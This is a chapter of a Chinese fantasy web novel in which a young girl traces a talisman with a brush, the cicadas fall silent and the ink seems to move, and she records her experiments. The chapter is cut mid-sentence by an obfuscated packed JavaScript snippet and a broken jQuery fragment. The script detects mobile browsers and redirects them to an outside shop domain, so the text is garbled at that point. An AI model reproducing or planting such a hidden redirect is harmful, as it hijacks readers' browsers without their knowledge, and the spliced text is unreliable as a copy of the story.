第二天放学，周伯年在教室门口截住张清，往她手里塞了一张纸。
纸是油印的，墨色不匀，有些地方糊成一团。纸上画着一个图形——和昨天在那间平房里看到的那张泛黄符纸上的图形一样，但线条模糊了很多，有些细线完全印不出来。
"拿回去描。"周伯年说，"只用毛笔，不用铅笔。"
"描什么？"
"你就描。"
说完就走了。
张清把纸折好放进书包。陈苗苗从教室里冲出来，书包都没拉拉链，本子角露在外面一翘一翘的。
"周老师给你什么了？"陈苗苗踮脚要偷看。
"一张纸。"
"什么纸？"
"练字的纸。"
"你天天练字，还嫌不够？"陈苗苗撇撇嘴，"走吧走吧，我妈说今天到了一批新的水果糖，你运气好。"
张清跟着陈苗苗走了。那张油印纸在书包里折着，贴着语文课本的封面。
晚饭后，张清关上房间的门。
方桌上铺了毛边纸，砚台里磨好了墨。她把那张油印纸摊开，用木条镇纸压住四个角。
台灯的光打在纸上，油印的墨迹泛着一层灰。图形的轮廓看得清，但细节糊了大半。昨天在周伯年那里看到的原本上，弧线下面还有三根极细的线，像根须一样。油印纸上什么都没有。
张清拿起毛笔，蘸墨，笔尖悬在纸上。
她没有立刻落笔。
她在看。看那些线条的走向，哪里起笔，哪里转折，哪里收。油印的线条虽然模糊，但笔路还在。每一根线的起收方向，和她平时写"永"字的笔法一样：藏锋起，中锋行，回锋收。
她开始描。
第一根线。笔尖触纸的一瞬间，她感觉到了什么。很微弱，像笔杆里有什么东西动了一下。和暑假写"永"字时一样的感觉，但方向不同，写"永"字的时候，那个感觉从笔尖往外走；描这根线的时候，它往回缩了一下，像被什么东西吸住了。
她继续描。第二根，第三根。手腕在纸上移动，每一根线都顺着油印的痕迹走。她尽量不去想"这是什么"，只是描，像父亲说的"写就是了"。
描到第六根线的时候，油印纸上只有六根，原本有十二根，她停了笔。
窗外安静了。
不是渐渐安静。是突然的，像有人把声音的开关拧到了底。蝉不叫了。连隔壁灶房里母亲炒菜的声音都听不见了。整个世界像被一只手捂住了嘴。
张清抬起头。窗外还是那几棵树，天还没黑，叶子的颜色看得清清楚楚。但蝉鸣停了。
她屏住呼吸，一动不动地坐着。那种安静那种安静是满的，像有什么东西填进来了，填在声音本来待的地方。
三秒。五秒。蝉鸣回来了，先是一只，然后两只，然后一片，像什么都没发生过。
张清盯着桌上的纸。六根线条，墨迹还没干。她低头仔细看，线条的边缘，墨汁在微微地动。墨汁在自己流动。很慢，很轻，像水底有什么东西在游。
她深吸一口气，又铺了一张新纸，重新描。
这一次她描得更慢。每一根线都用了比刚才多一倍的时间，笔尖在纸上走的时候，她把全部注意力都集中在墨汁从笔锋流到纸面那个瞬间。
六根线描完。蝉又停了。
这一次久了一些。倒像在跟她较劲，她描得认真，它就停得久一点。
蝉鸣回来之后，张清没有再描。她在抽屉里翻出一个旧本子，封面写着"语文"…上学期的，还剩半本空白页。她翻到空白页，拿起铅笔。
她画了一张图。就是刚才描的那个图形，六根线条，歪歪扭扭的，有几根画偏了。然后在图旁边写了一行字：
"蝉不叫了。第二次比第一次久。"
字写得歪歪扭扭的，有几个笔画还写反了。八岁的张清刚学会写不多的字，"第"字写了两遍才写对。
她又翻了一页，画了第二张图，这次是记忆中周伯年那间平房里泛黄符纸上的图形。她记得十二根线的大致位置，但画出来跟原本差得很远。在图旁边写：
"原本有十二根。油印的只有六根。六根蝉就停了。十二根会怎样？"
写完之后她看了看自己的字，觉得太丑了。但没关系，这是给自己看的。
她合上本子，塞进书包底下。
窗外蝉鸣依旧。八月底的鄂西南，蝉叫得要把天撕开。但刚才那两段安静，她记得清清楚楚。
张清站起来活动了一下。腰有点酸。她走到窗前透气，推开窗，热风灌进来。
厂区外面有一条土路，通往镇上。路上没什么人，偶尔有骑自行车的经过。张清正要关窗，看见土路上有个人停下了脚步。
一个中年男人，瘦高个，穿灰布衫，背对着她。他站在路边，走着走着突然不走了。张清看见他偏了一下头，好像在听什么。然后他转过身来，朝厂区方向看了一眼。
隔着几百米，张清看不清他的脸。但她感觉到那个人皱了一下眉。很轻，很快，像是闻到了什么不对的味道。
然后他走了。步子没变，不快不慢，沿着土路往镇上去了。
张清关上窗。她没多想。厂区附近来来去去的人多，她不认识也正常。
接下来几天，张清每天写完五十个大字之后，就关上门描图。
她描了很多遍。有时候专注，有时候走神。专注的时候蝉停得久，走神的时候蝉只停一小会儿。她把每次的结果都记在那个旧本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809167|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子上，不写数字，画图，画歪歪扭扭的字。有时候画着画着自己笑了，因为线条画得像蚯蚓。有一次被母亲撞见了，母亲问她笑什么，她说没什么。母亲看了看桌上的纸和笔，又看了看她，没再问，放下饭碗就出去了。母亲的脚步在门外停了一会儿才走远。
她发现了一个规律：描图的时候，脑子里不能想别的事。不能想明天吃什么，不能想陈苗苗今天又说了什么，不能想父亲回来会不会检查字数。脑子里只能有那些线条。线条在，蝉就停；脑子跑了，蝉就叫。
像是在跟什么看不见的东西下棋。她走一步，对方走一步。她专注，对方就安静；她松懈，对方就出声。
第四天晚上，她试着描了七根线——在油印纸的六根线基础上，她凭记忆加了一根。第七根线是原本上弧线下面那三根细线中的一根，她记得位置，但记不清粗细。
第七根线画下去的时候，笔尖突然变重了。纸面上的阻力变大了。像是在黏稠的水里写字，每一步都要多用一点力。
蝉停了。比前几次都久。
墨迹在纸上流动得更明显了。墨迹在流，沿着线条的边缘缓慢地移动，像有什么活物在墨汁底下爬。
张清盯着那张纸看了很久。墨迹慢慢停下来，变干，变普通。蝉鸣又回来了。
她在本子上画了一张新的图，七根线，旁边写着：
"七根比六根厉害。墨在流。像活的。"
最后那个"活"字她想了半天，本来想写"动"，但觉得不对。不是动，是活。
她把本子合上，看着窗外的夜色发了一会儿呆。远处车间的烟囱还亮着灯，夜班开始了。母亲在隔壁和父亲说话，声音很低。
第二天早上，张清刚走进教室，陈苗苗就凑过来了。
"哎，你昨天在家干什么了？"
"写作业。"
"不是吧？"陈苗苗压低声音，一脸神秘，下巴几乎戳到张清肩膀上，"我妈昨天傍晚路过你家门口，说觉得特别安静。你家那边蝉叫得那么响，她每次路过都嫌吵。昨天她说安静得不正常，还以为你们家搬了呢。"
张清愣了一下。
"真没有。就写了会儿字。"
"写字能写安静了？"陈苗苗翻了个白眼，"你骗人。你是不是偷偷买了什么机器？"
"什么机器？"
"我也不知道。我听我爸说过，城里有什么机器一开，周围就安静了。"
"没有。"
陈苗苗看了她一眼，见她不接话，自顾自地转头跟后桌说话去了。
张清低着头，手指在课桌底下攥了一下。书包底下的那个旧本子，硬邦邦的，硌着她的背。上面画满了歪歪扭扭的线条和好几个连笔顺都没写对的字。